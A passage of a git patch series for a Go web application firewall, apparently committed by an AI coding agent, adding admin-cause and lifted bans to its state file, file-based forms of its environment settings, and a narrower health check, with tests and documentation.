b/internal/proxy/observe_test.go index 7a87b7b..bea13ec 100644 --- a/internal/proxy/observe_test.go +++ b/internal/proxy/observe_test.go @@ -95,6 +95,7 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) { Netblock: netip.MustParsePrefix(otherClient + "/32"), Start: clk.Now(), Expires: clk.Now().Add(time.Hour), + Cause: bans.CauseAdmin, } server.Ledger.Load([]bans.Ban{kept}) diff --git a/internal/proxy/rulefiles_test.go b/internal/proxy/rulefiles_test.go index 9bff779..7d85882 100644 --- a/internal/proxy/rulefiles_test.go +++ b/internal/proxy/rulefiles_test.go @@ -55,6 +55,7 @@ func TestEachRuleAction(t *testing.T) { Start: start, Expires: start.Add(7 * 24 * time.Hour), Cause: bans.CauseAttack, + Reason: "matched the rule probe", Notes: bans.Notes{ RuleID: "probe", Target: "path", diff --git a/internal/state/state.go b/internal/state/state.go index 930b09a..8bee811 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -48,7 +48,7 @@ var ( errVersion = errors.New("unknown version") // errMissing is for an entry without a field it needs. errMissing = errors.New("has no") - errCause = errors.New("is not limit or attack") + errCause = errors.New("is not limit, attack or admin") ) // Params are what Load needs. @@ -96,12 +96,15 @@ type bansFile struct { } // banEntry is a ban as bans.json holds it: a permanent ban's expires is -// null, and a ban an admin added may have no cause. +// null, a ban an admin added may have no cause, which makes it an +// admin's, and lifted is left out until an admin lifts the ban. type banEntry struct { Netblock netip.Prefix `json:"netblock"` Start time.Time `json:"start"` Expires *time.Time `json:"expires"` - Cause string `json:"cause,omitempty"` + Cause string `json:"cause"` + Reason string `json:"reason,omitempty"` + Lifted *time.Time `json:"lifted,omitempty"` Notes bans.Notes `json:"notes"` } @@ -262,7 +265,7 @@ func (f *Files) fileChanged(name string) { // runs, by Watch or by a write, is taken in here. An edit that does not // parse is neither counted nor logged, and takeIn's error returned. func (f *Files) takeInEdit(name string, data []byte) error { - _, err := f.takeIn(name, data) + _, err := f.takeIn(name, data, true) if err != nil { return err } @@ -284,7 +287,7 @@ func (f *Files) read(name string) (int, error) { return 0, err } - return f.takeIn(name, data) + return f.takeIn(name, data, false) } // readChanged returns what the state file name holds, and whether that @@ -308,9 +311,11 @@ func (f *Files) readChanged(name string) ([]byte, bool, error) { // takeIn parses data, what the state file name holds, puts it into the // part that keeps that state, in place of what the part held, and returns -// how many entries the file holds. An error names the file and, where the -// JSON decoder tells it, the line and column, or else the entry. -func (f *Files) takeIn(name string, data []byte) (int, error) { +// how many entries the file holds. edit is whether data is an admin's +// edit taken in while smallwebwaf runs, rather than the file read at the +// start. An error names the file and, where the JSON decoder tells it, +// the line and column, or else the entry. +func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { path := filepath.Join(f.params.Dir, name) var entries int @@ -329,7 +334,12 @@ func (f *Files) takeIn(name string, data []byte) (int, error) { held = append(held, entry.ban()) } - f.params.Ledger.Load(held) + if edit { + f.params.Ledger.LoadEdit(held) + } else { + f.params.Ledger.Load(held) + } + entries = len(held) case clientsJSON: var file clientsFile @@ -447,22 +457,34 @@ func (f *Files) encode(name string) ([]byte, error) { // newBanEntry returns ban as bans.json holds it. func newBanEntry(ban bans.Ban) banEntry { entry := banEntry{ - Netblock: ban.Netblock, Start: ban.Start, Cause: ban.Cause, Notes: ban.Notes, + Netblock: ban.Netblock, Start: ban.Start, Cause: ban.Cause, Reason: ban.Reason, + Notes: ban.Notes, } if !ban.Permanent() { entry.Expires = &ban.Expires } + if !ban.Lifted.IsZero() { + entry.Lifted = &ban.Lifted + } + return entry } // ban returns the ban an entry of bans.json holds. func (e banEntry) ban() bans.Ban { - ban := bans.Ban{Netblock: e.Netblock, Start: e.Start, Cause: e.Cause, Notes: e.Notes} + ban := bans.Ban{ + Netblock: e.Netblock, Start: e.Start, Cause: e.Cause, Reason: e.Reason, + Notes: e.Notes, + } if e.Expires != nil { ban.Expires = *e.Expires } + if e.Lifted != nil { + ban.Lifted = *e.Lifted + } + return ban } @@ -470,8 +492,8 @@ func (e banEntry) ban() bans.Ban { // client, a start, from which the length of the netblock's next ban is // worked out, or an expires, which would make it permanent. A permanent // ban's expires is null, which Bans cannot tell from a missing one, so -// each expires is read again as written. A cause other than limit or -// attack, most likely misspelt, is refused too. +// each expires is read again as written. A cause other than limit, +// attack or admin, most likely misspelt, is refused too. func (f *bansFile) check(data []byte) error { var written struct { Bans []struct { @@ -493,7 +515,7 @@ func (f *bansFile) check(data []byte) error { case written.Bans[i].Expires == nil: return missing(i, "expires") case entry.Cause != "" && entry.Cause != bans.CauseLimit && - entry.Cause != bans.CauseAttack: + entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin: return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause) } } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index f29c65e..3febdc0 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -48,6 +48,8 @@ const permanentBansJSON = `{ "netblock": "2001:db8::/64", "start": "2026-10-06T00:00:00Z", "expires": null, + "cause": "admin", + "reason": "scrapes every commit", "notes": { "country": "DE", "limit": 1000, @@ -66,7 +68,7 @@ const permanentBansJSON = `{ "earlier_bans": { "limit": 3, "attack": 1, - "without_cause": 1 + "admin": 1 } } } @@ -74,6 +76,15 @@ const permanentBansJSON = `{ } ` +// liftedClient is the client whose ban liftedBansJSON holds. +const liftedClient = "203.0.113.9" + +// liftedBansJSON is bans.json holding an hour's ban for a broken limit on +// liftedClient, from midnight, that an admin lifted ten minutes in. +const liftedBansJSON = `{"version": 1, "bans": [{"netblock": "203.0.113.9/32", ` + + `"start": "2026-10-06T00:00:00Z", "expires": "2026-10-06T01:00:00Z", ` + + `"cause": "limit", "lifted": "2026-10-06T00:10:00Z"}]}` + func TestFilesWrittenAndReadBack(t *testing.T) { t.Parallel() @@ -267,15 +278,17 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } -func TestBanWithACauseSmallwebwafDoesNotGiveStopsTheStart(t *testing.T) { +func TestBanWithAnotherCauseStopsTheStart(t *testing.T) { t.Parallel() wantRefused(t, bansJSON, `{"version": 1, "bans": [`+ `{"netblock": "203.0.113.9/32", "start": "2026-10-06T00:00:00Z", `+ `"expires": null, "cause": "attack"}, `+ `{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+ + `"expires": null, "cause": "admin"}, `+ + `{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+ `"expires": null, "cause": "atack"}]}`, - `: entry 2's cause "atack" is not limit or attack`) + `: entry 3's cause "atack" is not limit, attack or admin`) } func TestUnknownVersionStopsTheStart(t *testing.T) { @@ -611,7 +624,7 @@ func TestEditOfEachFileTakenIn(t *testing.T) { `"start": "2026-10-06T00:00:00Z", "expires": null}]}`) wantTakenIn(t, lines, dir, bansJSON) wantEqual(t, bansJSON, params.Ledger.Snapshot(), - []bans.Ban{{Netblock: client, Start: midnight()}}) + []bans.Ban{{Netblock: client, Start: midnight(), Cause: bans.CauseAdmin}}) edit(t, dir, clientsJSON, `{"version": 1, "clients": [`+ `{"client": "198.51.100.7/32", "history": {"requests": 7}}]}`) @@ -710,6 +723,100 @@ func TestBanAddedAndLiftedThroughBansJSON(t *testing.T) { } } +func TestBanWithoutACauseTakenInAsAnAdmins(t *testing.T) { + t.Parallel() + + const reason = "probes for logins" + + // adminsBansJSON is bans.json as an admin writes it, with a ban on + // netblock without a cause, and adminsBans the bans it holds. + adminsBansJSON := func(netblock string) string { + return `{"version": 1, "bans": [{"netblock": "` + netblock + `", ` + + `"start": "2026-10-06T00:00:00Z", "expires": null, "reason": "` + + reason + `"}]}` + } + adminsBans := func(netblock string) []bans.Ban { + return []bans.Ban{{ + Netblock: netip.MustParsePrefix(netblock), + Start: midnight(), + Cause: bans.CauseAdmin, + Reason: reason, + }} + } + + // Read at the start, the ban is taken in as an admin's, though not + // counted among the bans made since the start, and written back with + // that cause and the admin's reason. + dir := t.TempDir() + edit(t, dir, bansJSON, adminsBansJSON("203.0.113.0/24")) + + params := newParams(dir) + lines := logInto(¶ms) + files := load(t, params) + wantEqual(t, bansJSON, params.Ledger.Snapshot(), adminsBans("203.0.113.0/24")) + wantMadeByAnAdmin(t, params.Ledger, 0) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + var written struct { + Bans []struct { + Cause string `json:"cause"` + Reason string `json:"reason"` + } `json:"bans"` + } + + err = json.Unmarshal([]byte(readFile(t, filepath.Join(dir, bansJSON))), &written) + if err != nil || len(written.Bans) != 1 || written.Bans[0].Cause != bans.CauseAdmin || + written.Bans[0].Reason != reason { + t.Errorf("bans.json holds %+v (%v), want the ban with the cause admin "+ + "and the reason %q", written, err, reason) + } + + // Taken in while smallwebwaf runs, a ban on another netblock is an + // admin's too, and one made since the start. + watch(t, files, lines) + edit(t, dir, bansJSON, adminsBansJSON("198.51.100.0/24")) + wantTakenIn(t, lines, dir, bansJSON) + wantEqual(t, bansJSON, params.Ledger.Snapshot(), adminsBans("198.51.100.0/24")) + wantMadeByAnAdmin(t, params.Ledger, 1) +} + +func TestLiftedBanReadAtTheStart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + edit(t, dir, bansJSON, liftedBansJSON) + + params := newParams(dir) + wantLiftedBanKept(t, load(t, params), dir, params.Ledger) +} + +func TestBanLiftedByAnEditWhileRunning(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + files := load(t, params) + watch(t, files, lines) + + // The ban that liftedBansJSON lifts, before it is lifted. + netblock := netip.MustParsePrefix(liftedClient + "/32") + params.Ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + + _, banned := params.Ledger.Find(netblock.Addr(), afterLifting()) + if !banned { + t.Fatal("the ban does not refuse before it is lifted") + } + + edit(t, dir, bansJSON, liftedBansJSON) + wantTakenIn(t, lines, dir, bansJSON) + wantLiftedBanKept(t, files, dir, params.Ledger) +} + func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { t.Parallel() @@ -909,9 +1016,9 @@ func newParams(dir string) state.Params { } } -// fill puts a permanent ban without a cause, as an admin adds one, a ban -// for a broken limit and one for a clear sign of attack, clients with -// counts and histories, and GeoJS answers into the parts of params. +// fill puts a permanent ban an admin made, a ban for a broken limit and +// one for a clear sign of attack, clients with counts and histories, and +// GeoJS answers into the parts of params. func fill(params state.Params) { now := midnight() client := netip.MustParsePrefix("203.0.113.9/32") @@ -943,6 +1050,8 @@ func permanentBan() bans.Ban { return bans.Ban{ Netblock: netip.MustParsePrefix("2001:db8::/64"), Start: midnight(), + Cause: bans.CauseAdmin, + Reason: "scrapes every commit", Notes: bans.Notes{ Country: "DE", Limit: 1000, @@ -958,11 +1067,64 @@ func permanentBan() bans.Ban { }, Requests: 1500, Refused: 3, - EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, WithoutCause: 1}, + EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1}, }, } } +// afterLifting is a time after the ban liftedBansJSON holds was lifted, +// while it would still last. +func afterLifting() time.Time { + return midnight().Add(30 * time.Minute) +} + +// wantLiftedBanKept checks that ledger holds the ban liftedBansJSON holds, +// which refuses nothing and does not make the next ban for a broken limit +// longer, and that files write it to bans.json, in dir, still lifted. +func wantLiftedBanKept( + t *testing.T, files *state.Files, dir string, ledger *bans.Ledger, +) { + t.Helper() + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + const lifted = `"lifted": "2026-10-06T00:10:00Z"` + if got := readFile(t, filepath.Join(dir, bansJSON)); !strings.Contains(got, lifted) { + t.Errorf("bans.json holds\n%s\nwant the ban with %s", got, lifted) + } + + netblock := netip.MustParsePrefix(liftedClient + "/32") + + _, banned := ledger.Check(netblock.Addr(), afterLifting()) + if banned { + t.Error("the lifted ban refuses") + } + + // Were the lifted ban counted, the next would last three hours. + ban := ledger.BanForLimit(netblock, afterLifting(), bans.Notes{}) + if ban.Expires.Sub(ban.Start) != time.Hour { + t.Errorf("the next ban lasts %s, want 1h", ban.Expires.Sub(ban.Start)) + } + + held := ledger.Bans(netblock) + if len(held) != 2 || !held[0].Lifted.Equal(midnight().Add(10*time.Minute)) { + t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) + } +} + +// wantMadeByAnAdmin checks how many bans ledger counts as made by an +// admin since the start. +func wantMadeByAnAdmin(t *testing.T, ledger *bans.Ledger, want int) { + t.Helper() + + if got := ledger.Made(bans.CauseAdmin); got != want { + t.Errorf("%d bans made by an admin, want %d", got, want) + } +} + // load reads the state files into the parts of params. func load(t *testing.T, params state.Params) *state.Files { t.Helper() From bff65f4e2f4aba6d0d19ccd9b71e4a3e8a337713 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 00:01:19 +0200 Subject: [PATCH 29/64] Settings given as files: the _FILE form of every setting (closes #87) Every setting X may instead be given as a file that X_FILE names, read once at start: its contents, less one trailing newline, are the value, checked as X would be. X and X_FILE both set, or a file that cannot be read, stops the start with a message naming the variable. The logged settings name the file, and mask a token read from one. SWWAF_LOG_REMOTE_TLS_CA_FILE, whose value is a file already, has no _FILE form. The health check reads only SWWAF_LISTEN_ADDR and SWWAF_UPSTREAM_URL, so no other setting or file can fail it. Judgement call: an invalid value read from a file is named as X, not X_FILE. Rule suppressed: gosec G304 on reading the named file, as for the CA file. Model: opus-5-5 --- README.md | 42 +++++++- SPEC.md | 5 +- internal/config/config.go | 93 ++++++++++++++--- internal/config/config_test.go | 127 +++++++++++++++++++++++ internal/smallwebwaf/healthcheck.go | 8 +- internal/smallwebwaf/healthcheck_test.go | 32 ++++++ 6 files changed, 283 insertions(+), 24 deletions(-) diff --git a/README.md b/README.md index a545085..80f9fa4 100644 --- a/README.md +++ b/README.md @@ -181,9 +181,10 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of ## Settings -Each setting is an environment variable, and each has a default, so none has to -be set. A setting that is set but invalid stops the start with a message naming -it, and the effective settings are logged at start. +Each setting is an environment variable, or a file one names (see "Settings +given as files" below), and each has a default, so none has to be set. A setting +that is set but invalid stops the start with a message naming it, and the +effective settings are logged at start. - `SWWAF_LISTEN_ADDR` (default `:8080`): where `smallwebwaf` listens. - `SWWAF_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app, as `http` or @@ -288,7 +289,8 @@ it, and the effective settings are logged at start. - `SWWAF_METRICS_TOKEN` (default unset): the token a scraper sends for the metrics, a long random value. While it is unset the metrics are off; one shorter than 32 characters stops the start. The settings logged at start show - `********` in its place. + `********` in its place. Given as a file, it can be kept out of the app's + reach (see "Settings given as files" below). - `SWWAF_METRICS_TOP_N` (default `50`): how many countries get series of their own in the metrics by country; the others are counted as `other`. - `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the @@ -329,6 +331,38 @@ with their counters and history, and an IPv6 client is counted by its /64. A new client waits at most a second for its country, and at most 100,000 answers from GeoJS are kept, for 7 days each. +### Settings given as files + +Any setting may instead be given as a file that holds its value: the variable +named like the setting with `_FILE` added, such as `SWWAF_METRICS_TOKEN_FILE`, +names the file. `smallwebwaf` reads the file once, at start, and its health +check reads only the files of `SWWAF_LISTEN_ADDR` and `SWWAF_UPSTREAM_URL`, each +time it runs. The file's contents are the value, less one newline at their end +so that a file written with `echo` or an editor works, and are checked as the +setting's own value would be. Setting both the setting and its `_FILE` form, or +naming a file that cannot be read, stops the start with a message naming the +variable. The settings logged at start name the file, and show a token given in +one as `********`, as they show one given directly. +`SWWAF_LOG_REMOTE_TLS_CA_FILE`, whose value names a file already, has no `_FILE` +form. + +The app starts with the same environment variables as `smallwebwaf`, so it can +read a token given as one. A token given as a file is out of the app's reach +only while the `smallwebwaf` user alone can read the file: make it on the host, +owned by uid 65532, the `smallwebwaf` user, with mode `0400`, and mount the +directory that holds it into the container read-only; the container sees the +same owner and mode. For example, on the host: + +```sh +mkdir -p /srv/app/tokens +openssl rand -hex 32 > /srv/app/tokens/metrics +chown 65532:65532 /srv/app/tokens/metrics +chmod 0400 /srv/app/tokens/metrics +``` + +and for the container, `-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro` and +`-e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics`. + ## Request log `smallwebwaf` writes one JSON object per line on stdout for every request, diff --git a/SPEC.md b/SPEC.md index 9071387..6edd41a 100644 --- a/SPEC.md +++ b/SPEC.md @@ -32,7 +32,7 @@ from a directory of hand-editable text files. - Defence against traffic floods that saturate the host's network link. That needs help upstream of the host. - A web UI or a configuration file. Settings are environment variables. Apart - from settings given as files (the `_FILE` form of any setting, such as + from settings given as files (the `_FILE` form of a setting, such as `SWWAF_ADMIN_TOKEN_FILE`, and `SWWAF_LOG_REMOTE_TLS_CA_FILE`), its own state files and the lookup database, the only files read are the rule files, which hold one regex per line and nothing more elaborate. @@ -298,7 +298,8 @@ it. - A list set to an empty value is an empty list, and replaces the default. - Every setting may instead be given as a file holding the value, named by the setting's name with `_FILE` added, such as `SWWAF_ADMIN_TOKEN_FILE`, for - secrets and long lists. + secrets and long lists. `SWWAF_LOG_REMOTE_TLS_CA_FILE`, whose value names a + file already, has no `_FILE` form. - Settings, including those given as files, are read once at start; changing one means restarting the container. The files `smallwebwaf` watches while it runs are its state files, its rule files and the lookup database. diff --git a/internal/config/config.go b/internal/config/config.go index 0f0ddc0..e5552ee 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -1,6 +1,7 @@ // Package config reads smallwebwaf's settings. Every setting is an -// environment variable whose name starts with SWWAF_, every setting has a -// default, and this package is the one place they are read. +// environment variable whose name starts with SWWAF_, or a file such a +// variable names, every setting has a default, and this package is the +// one place they are read. package config import ( @@ -154,8 +155,8 @@ type Config struct { LogRemoteFacility int LogRemoteAppName string - // settings are the values read, as given or by default, for the - // log line at start. + // settings are the values read, as given or by default, and the + // files they were read from, for the log line at start. settings []slog.Attr } @@ -173,6 +174,10 @@ const ( minTokenLength = 32 // masked is what the log shows for a token that is set. masked = "********" + // defaultListenAddr and defaultUpstreamURL are the defaults of + // SWWAF_LISTEN_ADDR and SWWAF_UPSTREAM_URL. + defaultListenAddr = ":8080" + defaultUpstreamURL = "http://127.0.0.1:8081" ) var ( @@ -221,17 +226,20 @@ var ( errNotFacility = errors.New("is not a syslog facility such as local0 or daemon") errNotAppName = errors.New( "is not 1 to 48 printable ASCII characters without a space, such as gitea") + errSetTwice = errors.New("set only one of them") ) // FromEnvironment reads the settings with lookupEnv, normally -// os.LookupEnv. A setting that is not set takes its default. A setting -// that is set but invalid is an error that names it. +// os.LookupEnv. A setting may instead be given as a file: the variable +// named by the setting's name with _FILE added names the file, which is +// read now (see lookup). A setting that is not set takes its default. A +// setting that is set but invalid is an error that names it. func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { env := &environment{lookupEnv: lookupEnv} hostname, _ := os.Hostname() // "" when the host has no name to give cfg := &Config{ - ListenAddr: env.address("SWWAF_LISTEN_ADDR", ":8080"), - UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", "http://127.0.0.1:8081"), + ListenAddr: env.address("SWWAF_LISTEN_ADDR", defaultListenAddr), + UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", defaultUpstreamURL), InstanceName: env.value("SWWAF_INSTANCE_NAME", hostname), Observe: env.observe("SWWAF_MODE", "enforce"), TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), @@ -295,6 +303,24 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { return cfg, nil } +// ListenAddrAndUpstreamURL reads only SWWAF_LISTEN_ADDR and +// SWWAF_UPSTREAM_URL, either of which may be given as a file, as +// FromEnvironment does. The health check needs no other setting, so it +// reads no other, nor a file that another names. +func ListenAddrAndUpstreamURL( + lookupEnv func(string) (string, bool), +) (string, *url.URL, error) { + env := &environment{lookupEnv: lookupEnv} + listenAddr := env.address("SWWAF_LISTEN_ADDR", defaultListenAddr) + upstreamURL := env.appURL("SWWAF_UPSTREAM_URL", defaultUpstreamURL) + + if env.err != nil { + return "", nil, env.err + } + + return listenAddr, upstreamURL, nil +} + // privateRanges are the private address ranges, the default trusted // proxies. const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" @@ -316,8 +342,8 @@ type environment struct { // value returns a setting's value, or its default when it is not set, // and notes it for the log. func (e *environment) value(name, defaultValue string) string { - value, ok := e.lookupEnv(name) - if !ok { + value, set := e.lookup(name) + if !set { value = defaultValue } @@ -326,6 +352,37 @@ func (e *environment) value(name, defaultValue string) string { return value } +// lookup returns a setting's value and whether it is set: the value of the +// variable name, or the contents of the file that the variable name_FILE +// names, less one newline at their end. It notes that file's path for the +// log. Both variables set, or a file that cannot be read, is an error. +func (e *environment) lookup(name string) (string, bool) { + value, set := e.lookupEnv(name) + fileName := name + "_FILE" + + path, inFile := e.lookupEnv(fileName) + if !inFile { + return value, set + } + + if set { + e.check(name, fmt.Errorf("is set, and so is %s; %w", fileName, errSetTwice)) + + return value, set + } + + e.settings = append(e.settings, slog.String(fileName, path)) + + contents, err := os.ReadFile(path) //nolint:gosec // a file the admin names + if err != nil { + e.check(fileName, fmt.Errorf("cannot be read: %w", err)) + + return "", false + } + + return strings.TrimSuffix(string(contents), "\n"), true +} + // check keeps the first error, naming the setting it is about. func (e *environment) check(name string, err error) { if err != nil && e.err == nil { @@ -484,7 +541,7 @@ func (e *environment) absolutePath(name, defaultValue string) string { // switches off what it guards; set, it must be at least minTokenLength // characters. Neither the log nor an error shows its value. func (e *environment) token(name string) string { - value, set := e.lookupEnv(name) + value, set := e.lookup(name) if !set { e.settings = append(e.settings, slog.String(name, "")) @@ -515,9 +572,12 @@ func (e *environment) logRemoteURL(name string) *url.URL { } // certificates reads a setting that is the path of a file of PEM -// certificates. Unset or empty, it is nil. +// certificates. Unset or empty, it is nil. Its value names a file +// already, so, unlike the other settings, it has no _FILE form. func (e *environment) certificates(name string) *x509.CertPool { - path := e.value(name, "") + path, _ := e.lookupEnv(name) + e.settings = append(e.settings, slog.String(name, path)) + if path == "" { return nil } @@ -552,9 +612,12 @@ func (e *environment) facility(name, defaultValue string) int { // lines are sent in, by default the instance name. Its value is checked // when it is set, and, while lines are sent, when it is the instance name. func (e *environment) appName(name, instanceName string, sending bool) string { - _, set := e.lookupEnv(name) + value, set := e.lookup(name) + if !set { + value = instanceName + } - value := e.value(name, instanceName) + e.settings = append(e.settings, slog.String(name, value)) switch { case isAppName(value): diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 30a97e1..00cf272 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -722,6 +722,133 @@ func TestTokenIsLoggedMasked(t *testing.T) { } } +func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) { + t.Parallel() + + for contents, want := range map[string]string{ + token: token, + token + "\n": token, + token + "\n\n": token + "\n", + token + " \n": token + " ", + } { + cfg := fromEnvironment(t, environment{ + metricsToken + "_FILE": writeFile(t, contents), + }) + if cfg.MetricsToken != want { + t.Errorf("file holding %q gave %s %q, want %q", contents, metricsToken, + cfg.MetricsToken, want) + } + } +} + +func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{ + requestMaxBytes + "_FILE": writeFile(t, "lots\n"), + }.lookupEnv) + + want := requestMaxBytes + `: "lots" is not a size such as 512K, 100M or 5G, or off` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + + _, err = config.FromEnvironment(environment{ + logRemoteURL: remoteURL, + instanceName: instance, + logRemoteAppName + "_FILE": writeFile(t, "my app\n"), + }.lookupEnv) + + want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + + `characters without a space, such as gitea` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestSettingAndItsFileBothSetStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{ + metricsToken: token, + metricsToken + "_FILE": writeFile(t, token), + }.lookupEnv) + + want := metricsToken + ": is set, and so is " + metricsToken + + "_FILE; set only one of them" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestUnreadableSettingFileStopsTheStart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + + for _, path := range []string{filepath.Join(dir, "missing"), dir} { + _, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.lookupEnv) + + want := metricsToken + "_FILE: cannot be read: " + if err == nil || !strings.HasPrefix(err.Error(), want) { + t.Errorf("%s: error %v, want one starting %s", path, err, want) + } + } +} + +func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) { + t.Parallel() + + path := writeFile(t, token+"\n") + cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + var line struct { + Settings map[string]string `json:"settings"` + } + + err := json.Unmarshal(out.Bytes(), &line) + if err != nil { + t.Fatalf("decode %s: %v", out.Bytes(), err) + } + + if strings.Contains(out.String(), token) || + line.Settings[metricsToken] != "********" || + line.Settings[metricsToken+"_FILE"] != path { + t.Errorf("the token is not logged masked, with its file %s: %s", path, + out.String()) + } +} + +func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"), + }) + if cfg.LogRemoteTLSCAs != nil { + t.Errorf("%s_FILE gave certificates", logRemoteTLSCAFile) + } +} + +// writeFile writes contents to a file in a directory of its own, removed +// when the test ends, and returns the file's path. +func writeFile(t *testing.T, contents string) string { + t.Helper() + + path := filepath.Join(t.TempDir(), "setting") + + err := os.WriteFile(path, []byte(contents), 0o600) + if err != nil { + t.Fatalf("write %s: %v", path, err) + } + + return path +} + func TestLogsEachSettingWithItsValue(t *testing.T) { t.Parallel() diff --git a/internal/smallwebwaf/healthcheck.go b/internal/smallwebwaf/healthcheck.go index 9269f3e..cb5f9e7 100644 --- a/internal/smallwebwaf/healthcheck.go +++ b/internal/smallwebwaf/healthcheck.go @@ -23,6 +23,8 @@ var errHealthEndpoint = errors.New("smallwebwaf's health endpoint answered") // smallwebwaf answers its health endpoint on 127.0.0.1, at the port in // SWWAF_LISTEN_ADDR, and the app accepts connections at the address in // SWWAF_UPSTREAM_URL. Otherwise it writes why to stderr and returns 1. +// It reads no other setting, nor a file that another names, so neither +// can fail it. // args are the arguments after `healthcheck`; it takes none, and given // one it names it on stderr and returns 1 without checking anything. func HealthCheck( @@ -50,13 +52,13 @@ func healthCheck(ctx context.Context, lookupEnv func(string) (string, bool)) err ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout) defer cancel() - cfg, err := config.FromEnvironment(lookupEnv) + listenAddr, upstreamURL, err := config.ListenAddrAndUpstreamURL(lookupEnv) if err != nil { return fmt.Errorf("invalid setting: %w", err) } // The settings have checked that the address has a port. - _, port, _ := net.SplitHostPort(cfg.ListenAddr) + _, port, _ := net.SplitHostPort(listenAddr) health := "http://" + net.JoinHostPort("127.0.0.1", port) + proxy.HealthPath req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody) @@ -75,7 +77,7 @@ func healthCheck(ctx context.Context, lookupEnv func(string) (string, bool)) err return fmt.Errorf("%w %s", errHealthEndpoint, res.Status) } - conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(cfg.UpstreamURL)) + conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL)) if err != nil { return fmt.Errorf("connect to the app: %w", err) } diff --git a/internal/smallwebwaf/healthcheck_test.go b/internal/smallwebwaf/healthcheck_test.go index 56af193..3089f22 100644 --- a/internal/smallwebwaf/healthcheck_test.go +++ b/internal/smallwebwaf/healthcheck_test.go @@ -6,6 +6,8 @@ import ( "net" "net/http" "net/http/httptest" + "os" + "path/filepath" "strings" "testing" "time" @@ -43,6 +45,21 @@ func TestHealthCheck(t *testing.T) { wantHealthCheck(t, env, 0, "") + // The health check reads those two settings alone, here given as + // files: a removed or invalid token file, or an invalid value of + // another setting, does not fail it. + for _, other := range []struct{ name, value string }{ + {"SWWAF_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")}, + {"SWWAF_METRICS_TOKEN_FILE", writeFile(t, "too short\n")}, + {"SWWAF_MODE", "neither"}, + } { + wantHealthCheck(t, map[string]string{ + listenAddr + "_FILE": writeFile(t, ":"+port+"\n"), + upstreamURL + "_FILE": writeFile(t, app.URL+"\n"), + other.name: other.value, + }, 0, "") + } + app.Close() wantHealthCheck(t, env, 1, "unhealthy: connect to the app: ") @@ -98,3 +115,18 @@ func wantHealthCheck(t *testing.T, env map[string]string, status int, message st got, wrote, status, message) } } + +// writeFile writes contents to a file in a directory of its own, removed +// when the test ends, and returns the file's path. +func writeFile(t *testing.T, contents string) string { + t.Helper() + + path := filepath.Join(t.TempDir(), "setting") + + err := os.WriteFile(path, []byte(contents), 0o600) + if err != nil { + t.Fatalf("write %s: %v", path, err) + } + + return path +} From 5d6f6ffaf9c27de4b81f3d4bc2a1c45746e8c60e Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 01:13:16 +0200 Subject: [PATCH 30/64] Admin endpoints for bans and clients on the single listener (closes #27) SWWAF_ADMIN_TOKEN, or its _FILE form, opens GET and POST /_smallwebwaf/bans, DELETE /_smallwebwaf/bans/ and GET /_smallwebwaf/clients/. Unset, they answer 404; a missing or wrong token gets 